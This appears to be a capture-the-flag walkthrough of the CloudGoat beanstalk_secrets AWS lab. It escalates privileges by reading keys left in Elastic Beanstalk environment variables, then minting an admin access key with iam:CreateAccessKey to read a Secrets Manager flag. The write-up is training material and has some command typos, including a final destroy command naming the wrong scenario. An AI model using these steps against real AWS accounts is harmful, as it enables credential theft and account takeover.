AWS CLI Manual Walkthrough for Cloudgoat Beanstalk_Secrets Scenario

In this walkthrough we will be going through the Beanstalk_Secrets scenario from Cloudgoat. We will go through this manually using the AWS CLI.

Scenario Goals:

Retrieve the final flag from AWS Secrets Manager by escalating from a low-privileged user to an administrator account.

Summary:

In this scenario, we are provided with low-privileged AWS credentials that grant limited access to Elastic Beanstalk. Our task is to enumerate the Elastic Beanstalk environment and discover misconfigured environment variables containing secondary credentials. Using these secondary credentials, we can enumerate IAM permissions to eventually create an access key for an administrator user. With these admin privileges, we retrieve the final flag stored in AWS Secrets Manager.

Initial Access

Step 1: Setup the Cloudgoat Beanstalk_Secrets Scenario, by typing:

cloudgoat create beanstalk_secrets

Once the scenario has finished being created, it will give us an Access Key and a Secret Access Key for a low-privileged user.

Step 2: Configure the AWS CLI

We will then configure the AWS CLI with the Access Key and Secret Access Key that we received when we setup the scenario, we can do this with the command:

aws configure --profile beanstalk

When we configure the low-privileged user profile we need to provide:

• The Access Key
• The Secret Access Key
• The Region (In this case was us-east-1)
• The Output Format (In this case and most in cases will we use json)

Step 3: Verify Credentials (Whoami)

Once we have configured the low-privileged user profile we need to verify to ensure that the credentials that we submitted were correct. We can verify the credentials using the command:

aws sts get-caller-identity --profile beanstalk

This command is similar to the whoami command in Windows pentesting.

Output:

aws sts get-caller-identity --profile beanstalk      
{
    "UserId": "AIDAVXXXXXXXXXXXXXXX",
    "Account": "386487884171",
    "Arn": "arn:aws:iam::386487884171:user/cgid510nx94bqe_low_priv_user"
}

Enumeration with Low-Privileged User

Now that we have confirmed that we have access to the low-privileged user our first step will be to check if there are any managed or inline policies attached to the user. In this case there weren’t any policies attached to the users account.

In the summary of the scenario we were told that the low-privileged user has limited access to Elastic Beanstalk.

So are next step will be to try to enumerate Elastic Beanstalk. Elastic Beanstalk is a service that makes it easy to deploy web applications without having to manage the underlying infrastructure.

Step 1: Enumerate Applications in Elastic Beanstalk

Our first step to enumerating Elastic Beanstalk is to enumerate the applications that Elastic Beanstalk is storing. Applications in Elastic Beanstalk are like a folder for a project. To enumerate applications in Elastic Beanstalk we will use the command:

aws elasticbeanstallk describe-applications --profile beanstalk

Output:

aws elasticbeanstalk describe-applications --profile beanstalk                            
{
    "Applications": [
        {
            "ApplicationArn": "arn:aws:elasticbeanstalk:us-east-1:386487884171:application/cgidrukrzxw8vt-app",
            "ApplicationName": "cgidrukrzxw8vt-app",
            "Description": "Elastic Beanstalk application for insecure secrets scenario",
            "DateCreated": "2025-08-27T01:00:33.298000+00:00",
            "DateUpdated": "2025-08-27T01:00:33.298000+00:00",
            "ConfigurationTemplates": [],
            "ResourceLifecycleConfig": {
                "VersionLifecycleConfig": {
                    "MaxCountRule": {
                        "Enabled": false,
                        "MaxCount": 200,
                        "DeleteSourceFromS3": false
                    },
                    "MaxAgeRule": {
                        "Enabled": false,
                        "MaxAgeInDays": 180,
                        "DeleteSourceFromS3": false
                    }
                }
            }
        }
    ]
}

With this command we found that there is one application (cgidrukrzxw8vt-app) running.

Step 2: Enumerate Environments in Elastic Beanstalk

Now that we have found an application running we will look for any environments that are running. We know that Elastic Beanstalk will also be running at least one environment. This is because the environment deploys the instance for the application and provides the infrastructure for the application.

To enumerate environments we will use the command:

aws elasticbeanstalk describe-enivronments --profile beanstalk

Output:

aws elasticbeanstalk describe-environments --profile beanstalk
{
    "Environments": [
        {
            "EnvironmentName": "cgidrukrzxw8vt-env",
            "EnvironmentId": "e-ipkndqhtb2",
            "ApplicationName": "cgidrukrzxw8vt-app",
            "SolutionStackName": "64bit Amazon Linux 2023 v4.7.1 running Python 3.11",
            "PlatformArn": "arn:aws:elasticbeanstalk:us-east-1::platform/Python 3.11 running on 64bit Amazon Linux 2023/4.7.1",
            "EndpointURL": "awseb-e-i-AWSEBLoa-1E7DLSC1IUZC8-1171756200.us-east-1.elb.amazonaws.com",
            "CNAME": "cgidrukrzxw8vt-env.eba-vgimaekv.us-east-1.elasticbeanstalk.com",
            "DateCreated": "2025-08-27T01:00:48.037000+00:00",
            "DateUpdated": "2025-08-27T01:03:52.995000+00:00",
            "Status": "Ready",
            "AbortableOperationInProgress": false,
            "Health": "Grey",
            "HealthStatus": "No Data",
            "Tier": {
                "Name": "WebServer",
                "Type": "Standard",
                "Version": "1.0"
            },
            "EnvironmentLinks": [],
            "EnvironmentArn": "arn:aws:elasticbeanstalk:us-east-1:386487884171:environment/cgidrukrzxw8vt-app/cgidrukrzxw8vt-env"
        }
    ]
}

With this command we found a environment (cgidrukrzxw8vt-env) that is associated with the application (cgidrukrzxw8vt-app) that we found in step 1.

Step 3: List Elastic Beanstalk Configuration Settings

Now that we have found the Elastic Beanstalk application and the associated environment we can now list the configuration settings for the Elastic Beanstalk application and environment. With the Elastic Beanstalk configuration settings we can find things such as credentials, API keys, and other information that could give us access to other user accounts through lateral movement or could allow us to escalate our privileges through privilege escalation to a higher privileged account such as an admin.

The command to list the configuration settings is:

aws elasticbeanstalk describe-configuration-settings --enivronment-name cgidrukrzxw8vt-env --application-name cgidrukrzxw8vt-app --profile beanstalk

With this command we will need to provide the environment and the application names that we found in steps 1 and 2.

Output:

aws elasticbeanstalk describe-configuration-settings --environment-name cgidrukrzxw8vt-env --application-name cgidrukrzxw8vt-app --profile beanstalk
...
{
  "Namespace": "aws:cloudformation:template:parameter",
  "OptionName": "EnvironmentVariables",
  "Value": "SECONDARY_SECRET_KEY=KVRvBXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX,
            SECONDARY_ACCESS_KEY=AKIAVXXXXXXXXXXXXXXX"
},
}
  "Namespace": "aws:cloudformation:template:parameter",
  "OptionName": "AppSource",
  "Value": "https://elasticbeanstalk-platform-assets-us-east-1.s3.amazonaws.com/stalks/eb_python311_amazon_linux_2023_1.0.927.0_20250819152009/sampleapp/EBSampleApp-Python.zip"
},
{
  "Namespace": "aws:autoscaling:launchconfiguration",
  "OptionName": "SSHSourceRestriction",
  "Value": "tcp,22,22,0.0.0.0/0"
}
...

With this command we found 3 things that the developers have stored in their Elastic Beanstalk, including:

• Access and Secret Access keys that we can use to access another user account.
• App Source data which could include hardcoded secrets like API tokens or even access keys. When we accessed the App Source data we found a sample website but it didn’t have any sensitive information on it.
• SSH data which was tcp 22 0.0.0.0/0. This is a big misconfiguration and security risk because this means that SSH is open to the public Internet.

Enumeration with Secondary User

Now that we have found credentials we can laterally move to another users account.

Step 1: Configure Secondary User Account

aws configure --profile secondary

As we did with the low-privilege user account we will configure a profile for the secondary user account. We will use the credentials that we found from the Elastic Beanstalk configuration settings.

Step 2: Verify Credentials (Whoami)

Once we have the profile configured for the secondary user that we found, we will verify that we have access to the users account with the command:

aws sts get-caller-identity --profile secondary

Output:

aws sts get-caller-identity --profile secondary                          
{
    "UserId": "AKIAVXXXXXXXXXXXXXXX",
    "Account": "386487884171",
    "Arn": "arn:aws:iam::386487884171:user/cgidrukrzxw8vt_secondary_user"
}

Step 3: List Attached Managed and Inline Policies for the Secondary User

Now that we confirmed that we have access to the secondary users account we will check if they have any managed or inline policies attached to their account. We will do this with the command:

aws iam list-attached-user-policies --user-name cgidrukrzxw8vt_secondary_user --profile secondary

Output:

aws iam list-attached-user-policies --user-name cgidrukrzxw8vt_secondary_user --profile secondary
{
    "AttachedPolicies": [
        {
            "PolicyName": "cgidrukrzxw8vt_secondary_policy",
            "PolicyArn": "arn:aws:iam::386487884171:policy/cgidrukrzxw8vt_secondary_policy"
        }
    ]
}

We found that the secondary user has one managed policy (cgidrukrzxw8vt_secondary_policy) attached to their account.

Step 4: List and Review the Policy Version and Permissions

Now that we have found that there is a policy attached to the secondary users account we will check the version of the policy with the command:

aws iam list-policy-versions --policy-arn arn:aws:iam::386487884171:policy/cgidrukrzxw8vt_secondary_policy --profile secondary

Output:

┌──(wyatt㉿wyatt)-[~]
└─$ aws iam list-policy-versions --policy-arn arn:aws:iam::386487884171:policy/cgidrukrzxw8vt_secondary_policy --profile secondary
{
    "Versions": [
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2025-08-27T01:00:33+00:00"
        }
    ]
}

With this command we found that the secondary user policy has a version of “v1”

Next, we will review the policies permissions using the policy version that we just found with the command:

aws iam get-policy-version --policy-arn arn:aws:iam::386487884171:policy/cgidrukrzxw8vt_secondary_policy --version-id v1 --profile secondary

Output:

aws iam get-policy-version --policy-arn arn:aws:iam::386487884171:policy/cgidrukrzxw8vt_secondary_policy --version-id v1 --profile secondary
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:CreateAccessKey"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "iam:ListRoles",
                        "iam:GetRole",
                        "iam:ListPolicies",
                        "iam:GetPolicy",
                        "iam:ListPolicyVersions",
                        "iam:GetPolicyVersion",
                        "iam:ListUsers",
                        "iam:GetUser",
                        "iam:ListGroups",
                        "iam:GetGroup",
                        "iam:ListAttachedUserPolicies",
                        "iam:ListAttachedRolePolicies",
                        "iam:GetRolePolicy"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-08-27T01:00:33+00:00"
    }
}

With this command we found all of the permissions that the secondary user policy gives us.

One of the permissions that we should pay attention to is iam:CreateAccessKey. This allows us to create a new access key ID and secret access key for a specific IAM user, including potentially higher privileged accounts such as the admin.

Step 5: List Users

Before we can create an access key ID and secret access key we first need to see if there are any other users which we could escalate our privileges to. To find other users we will use the command:

aws iam list-users --profile secondary

Output:

"Users": [
        {
            "Path": "/",
            "UserName": "cgidrukrzxw8vt_admin_user",
            "UserId": "AIDAVT7DZDGFTZI25D3AU",
            "Arn": "arn:aws:iam::386487884171:user/cgidrukrzxw8vt_admin_user",
            "CreateDate": "2025-08-27T01:00:33+00:00"
        },
        {
            "Path": "/",
            "UserName": "cgidrukrzxw8vt_low_priv_user",
            "UserId": "AIDAVT7DZDGFWAL4YMTZF",
            "Arn": "arn:aws:iam::386487884171:user/cgidrukrzxw8vt_low_priv_user",
            "CreateDate": "2025-08-27T01:00:33+00:00"
        },
        {
            "Path": "/",
            "UserName": "cgidrukrzxw8vt_secondary_user",
            "UserId": "AIDAVT7DZDGF74WS6Y4S6",
            "Arn": "arn:aws:iam::386487884171:user/cgidrukrzxw8vt_secondary_user",
            "CreateDate": "2025-08-27T01:00:33+00:00"
        }

After looking through the output we find that there is still one more user that we have not accessed yet. That is the admin user.

Step 6: Create a New Access Key ID and Secret Access Key for the Admin User

Since we have found that there is an admin user we can try to create a new access key ID and secret access key for the admin user. We will do this with the command:

aws iam create-access-key --user-name cgidrukrzxw8vt_admin_user --profile secondary

Output:

aws iam create-access-key --user-name cgidrukrzxw8vt_admin_user --profile secondary
{
    "AccessKey": {
        "UserName": "cgidrukrzxw8vt_admin_user",
        "AccessKeyId": "AKIAVXXXXXXXXXXXXXXX",
        "Status": "Active",
        "SecretAccessKey": "eeVgjXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
        "CreateDate": "2025-08-27T03:05:32+00:00"
    }
}

From the output we can see that we were successfully able to create a new access key ID and secret access key for the admin user. This is a major misconfiguration and security risk.

Escalate Privileges to the Admin User

Step 1: Configure Admin Users Account with the New Access Key

Now that we have access to the admin user we can configure a new profile with the credentials that were created.

aws configure --profile beanstalk_admin

Just like before we will configure the admin account the newly create credentials, region, and output format.

Step 2: Verify Credentials (Whoami)

We will then verify our credentials to ensure that we can access the admin user account.

aws sts get-caller-identity --profile beanstalk_admin

Output:

aws sts get-caller-identity --profile beanstalk_admin
{
    "UserId": "AIDAVXXXXXXXXXXXXXXX",
    "Account": "386487884171",
    "Arn": "arn:aws:iam::386487884171:user/cgidrukrzxw8vt_admin_user"
}

Step 3: Access the Secrets Manager

In the summary for the scenario it says that once we have access to the admin account we can retrieve the final flag that is stored in the AWS Secrets Manager. The Secrets Manger stores, manages, and retrieves credentials like passwords, API keys, and other sensitive information.

To retrieve the information being stored in the Secrets Manager we will use the command:

aws secretsmanager list-secrets --profile beanstalk_admin

Output:

aws secretsmanager list-secrets --profile beanstalk_admin                                           
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:386487884171:secret:cgidrukrzxw8vt_final_flag-bLlSHv",
            "Name": "cgidrukrzxw8vt_final_flag",
            "LastChangedDate": "2025-08-26T21:00:33.724000-04:00",
            "LastAccessedDate": "2025-08-26T20:00:00-04:00",
            "Tags": [
                {
                    "Key": "Stack",
                    "Value": "CloudGoat"
                },
                {
                    "Key": "Scenario",
                    "Value": "beanstalk_secrets"
                }
            ],
            "SecretVersionsToStages": {
                "terraform-20250827010031636300000002": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2025-08-26T21:00:32.958000-04:00"
        }
    ]
}

Although, this will not output the secret for us, it will give us the name of the secret (cgidrukrzxw8vt_final_flag) so that we can output the flag in the next step.

Step 4: Output the Secret

Finally, we will output the flag. We will use the command:

aws secretsmanager get-secret-value --secret-id cgidrukrzxw8vt_final_flag --profile beanstalk_admin

Output:

aws secretsmanager get-secret-value --secret-id cgidrukrzxw8vt_final_flag --profile beanstalk_admin 
{
    "ARN": "arn:aws:secretsmanager:us-east-1:386487884171:secret:cgidrukrzxw8vt_final_flag-bLlSHv",
    "Name": "cgidrukrzxw8vt_final_flag",
    "VersionId": "terraform-20250827010031636300000002",
    "SecretString": "FLAG{}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2025-08-26T21:00:33.719000-04:00"
}

From this output we were able to output the value of the flag in the format FLAG{}.

I will not be showing the value of the flag so that you can work through the scenario on your own and find the flag.

Important: Please make sure to destroy your cloudgoat scenario so that you are not being charged.

cloudgoat destroy sns_secrets